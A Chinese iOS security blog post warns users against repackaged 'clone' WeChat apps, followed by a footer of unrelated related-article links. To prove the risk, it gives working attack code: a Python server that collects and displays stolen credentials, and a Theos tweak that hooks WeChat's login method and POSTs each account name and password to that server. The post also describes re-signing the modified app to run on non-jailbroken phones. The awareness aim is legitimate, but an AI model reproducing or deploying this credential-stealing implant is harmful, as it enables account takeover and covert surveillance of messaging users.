最近微信分身版各种疯传,不少人都安装了不同功能的微信分身版,不管是一键转发,一键评论还是带有其它功能的微信分身版。

很显然很多人安装了这些分身版却不知道其中可能存在的风险,这些微信分身版无非就是通过load command动态库注入hook函数进行篡改,虽然你的手机没有越狱,但是安装了微信分身版后,你所用微信的所有信息都暴露在别人的面前了。包括获取你的微信账号密码,聊天记录等等,所有的信息。

下面笔者就从如何获取微信账号密码并传到指定服务器做一个简单的分析,看完这个后,你安装的分身版微信很可能就已经收集你的微信账号和密码。

首先进入微信登录界面,查看ViewController的继承关系:

[[[UIWindow keyWindow] rootViewController] _printHierarchy]

<MMUINavigationController 0×18392800>, state: appeared, view: <UILayoutContainerView 0x17f33790>

| <WCAccountLoginLastUserViewController 0x18b52600>, state: appeared, view: <UIView 0x192740d0>

可以得到当前的ViewController为WCAccountLoginLastUserViewController,跟踪该类。然后点击登录按钮,可以看到调用onNext方法。使用IDA进入里面分析,可以得知是WCAccountLoginControlLogic类来负责处理具体的登录逻辑。跟踪WCAccountLoginControlLogic可以发现登录的时候调用了

- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{}

其中传的参数就是微信的账号和密码,现在演示一下如何拦截微信账号密码,并发送到指定服务器。

既然需要一个服务器来接受传输的数据,那么就使用python的BaseHTTPRequestHandler来搭建一个简单的服务器。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
#!/usr/bin/env python 
# -*- conding:utf-8 -*- 
  
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer  
from urlparse import urlparse, parse_qs  
  
DEFAULT_HOST = ''  
DEFAULT_PORT = 8080  
  
  
class RequestHandler(BaseHTTPRequestHandler):  
    def do_GET(self):  
        params=parse_qs(urlparse(self.path).query)  
        self.send_response(200)  
        self.send_header('Content-type','text/html')  
        self.end_headers()  
        #获取账号密码
        fread = open('./pwd.log','r')
        lines = fread.readlines();
         #每隔2秒刷新一次
        content = '<meta http-equiv="refresh" content="2">'
        for line in lines:
          content = content+line+'<br>'
        # Send the message to browser  
        self.wfile.write(content)  
        return

def do_POST(self):  
        params=parse_qs(urlparse(self.path).query)  
        #保存账号密码
        fwrite = open('./pwd.log','a+')
        fwrite.write("username=%s\n" % params['name'][0])
        fwrite.write("pwd=%s\n" % params['pwd'][0])
        fwrite.close()
        self.send_response(200)  
        self.end_headers()  
        return  
  
  
def run_server():  
    try:  
        server_address=(DEFAULT_HOST, DEFAULT_PORT)  
        server= HTTPServer(server_address,RequestHandler)  
        print "HTTP server started on port: %s" % DEFAULT_PORT  
        server.serve_forever()  
    except Exception, err:  
        print "Error:%s" %err  
    except KeyboardInterrupt:  
        print "Server interrupted and is shutting down..."  
        server.socket.close()  
  
if __name__ == "__main__":  
    run_server()

好了,一个简单的服务器搭建好了,post用来接受从微信传过来的账号和密码信息并保存到本地文件,然后通过get不断去请求刷新获取的账号密码。

编写tweak拦截账号密码,并发送到刚刚搭建的服务器上:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
%hook WCAccountLoginControlLogic

- (void)onLastUserLoginUserName:(NSString*) name Pwd:(NSString*) pwd{
    %log;
    
    NSMutableURLRequest *request=[NSMutableURLRequest requestWithURL:[NSURL URLWithString:[NSString stringWithFormat:@"http://192.168.1.100:8080?name=%@&pwd=%@",name,pwd]]];
    
    [request setTimeoutInterval:30];
    
    [request setHTTPMethod:@"POST"];
    
    [NSURLConnection sendAsynchronousRequest:request queue:[NSOperationQueue mainQueue]
     
                           completionHandler:^(NSURLResponse *respone,
                                               
                                               NSData *data,
                                               
                                               NSError *error)
     
     {
         NSHTTPURLResponse* httpResponse = (NSHTTPURLResponse*)respone;
         if(httpResponse.statusCode == 200){
             NSLog(@"send pwd success!");
         }
         
         
     }];
}

%end

重签名微信,生成一个在非越狱机器上运行的微信分身版,这个已经在上一篇文章中讲过。进入登录界面输入账号密码,每次输入账号密码就发把账号密码发送到我们搭建的服务器上面,然后在浏览器输入http://localhost:8080/就能实时看到输入的账号密码是什么了。

上面只是一个简单的演示,当然实际的分身版不可能写的这么简单,一般都经过混淆和加密的,但是也就是说,一旦你安装了微信分身版,那么你微信上面所有的信息都可能被监控,导致隐私泄露。

从网上下了一个分身版的微信就在其中的dylib文件中发现了上传账号密码的代码    所以即使你的手机没有越狱,也不要去网上下载微信分身版,也不要去第三方渠道下载应用,因为很可能你在第三方渠道下载的应用就是被篡改过的。

本文链接:http://www.blogfshare.com/the-second-wechat.html

iOS安全–看了这个,你还敢用分身版微信吗?相关推荐

  1. 看了这个,你还敢用分身版微信刷步吗?

    最近很多用户把第三方修改的微信分身版各种疯传,不少人都安装了不同功能的微信刷步分身版,不管是为了刷微信运动步数,一键转发,一键评论还是带有其它功能的微信分身版. 很显然很多人安装了这些分身版却不知道其 ...

  2. 微信分身 服务器,看了这个,你还敢用分身版微信吗?

    [[[UIWindow keyWindow] rootViewController] _printHierarchy] , state: appeared, view: | , state: appe ...

  3. 学习ios(必看经典)牛人40天精通iOS开发的学习方法

     亲爱的学员们: 如今,各路开发者为淘一桶金也纷纷转入iOS开发的行列.你心动了吗?想要行动吗?知道如何做嘛?速来学习由51CTO学院整理的iOS精品视频集,42个视频课程一步步引领你成为一名iO ...

  4. 【转】 学习ios(必看经典)牛人40天精通iOS开发的学习方法【2015.12.2

    原文网址:http://bbs.51cto.com/thread-1099956-1.html 亲爱的学员们: 如今,各路开发者为淘一桶金也纷纷转入iOS开发的行列.你心动了吗?想要行动吗?知道如何做 ...

  5. iOS 仿看了吗应用、指南针测网速等常用工具、自定义弹出视图框架、图片裁剪、内容扩展等源码...

    iOS精选源码 扩展内容的cell - folding-cell 一个近乎完整的可识别中国身份证信息的Demo 可自动快速... JPImageresizerView 仿微信的图片裁剪 带年月和至今以 ...

  6. 看完这个你还不理解右值引用和移动构造 你就可以来咬我(下)

    共分三篇,这是第3篇.另外两篇,看完这个你还不理解右值引用和移动构造 你就可以来咬我(上),看完这个你还不理解右值引用和移动构造 你就可以来咬我(中). 下面是新标准下的其他特性(共十点),了解一下, ...

  7. 看完这个你还不理解右值引用和移动构造 你就可以来咬我(中)

    共分三篇,这是第2篇.另外两篇,看完这个你还不理解右值引用和移动构造 你就可以来咬我(上),看完这个你还不理解右值引用和移动构造 你就可以来咬我(下). 看完上篇,应该对右值引用和移动构造有了总体上的 ...

  8. 看完这个你还不理解右值引用和移动构造 你就可以来咬我(上)

    共分三篇,这是第一篇.另外两篇,看完这个你还不理解右值引用和移动构造 你就可以来咬我(中),看完这个你还不理解右值引用和移动构造 你就可以来咬我(下). C++ 右值引用 & 新特性 C++ ...

  9. 第六十二期:看完这篇还不了解Nginx,那我就哭了!

    看完这篇还不了解Nginx,那我就哭了! Nginx 同 Apache 一样都是一种 Web 服务器.基于 REST 架构风格,以统一资源描述符(Uniform Resources Identifie ...

最新文章

  1. 第一百九十四节,jQuery EasyUI,Droppable(放置)组件
  2. 设计师学习HTML/CSS之路-13
  3. CentOS 6.5/6.6 安装mysql 5.7 最完整版教程
  4. 【软考】2017年11月软件设计师上午真题9-12题答案解析
  5. wxWidgets:wxGauge类用法
  6. css 旋转45_CSS教程——第14期
  7. bat复制文件到指定目录同名_scp复制文件时排除指定文件
  8. QQ5.0左侧滑动显示效果
  9. java开发flex_FLEX+Java开发
  10. Kafka 配置参数汇总及相关说明
  11. 《东周列国志》第七十二回 棠公尚捐躯奔父难 伍子胥微服过昭关
  12. android 视频测试工具,安兔兔视频测试下载3.0 官方版-安卓盒子视频性能检测工具平板西西软件下载...
  13. axure rp8 添加动态面板_AxureRP教程–动态面板高级应用
  14. 博途仿真PLC与第三方客户端通信
  15. 235款鼠标样式免费下载
  16. 小样本学习记录————文本中特征空间的数据增强MEDA: Meta-Learning with Data Augmentation for Few-Shot Text Classification
  17. (三-一)IPC-邮箱通信
  18. efi模式装linux双系统,超详细!Win10(UEFI启动模式)安装Ubuntu18.04双系统
  19. 农民工与学生为楼癫狂 富人加速撤离
  20. super关键字什么时候使用?super的适用场景是?

热门文章

  1. HEVC学习(一) —— HM的使用
  2. 建模助手 | 学校项目为何多用BIM?广州实验中学给你答案
  3. SQLServer中的Cross Apply、Outer Apply
  4. 【博客496】k8s dns解析与服务发现原理
  5. 【微机接口】可编程串行异步通信芯片8250
  6. [随笔]openpyxl的安装
  7. 基于Python的百度AI人脸识别API接口(可用于OpenCV-Python人脸识别)
  8. 基于脉搏波信号和人工智能方法的应用
  9. linux yum安装mysql及配置
  10. Android 开发即时聊天工具 YQ :(五) 发送消息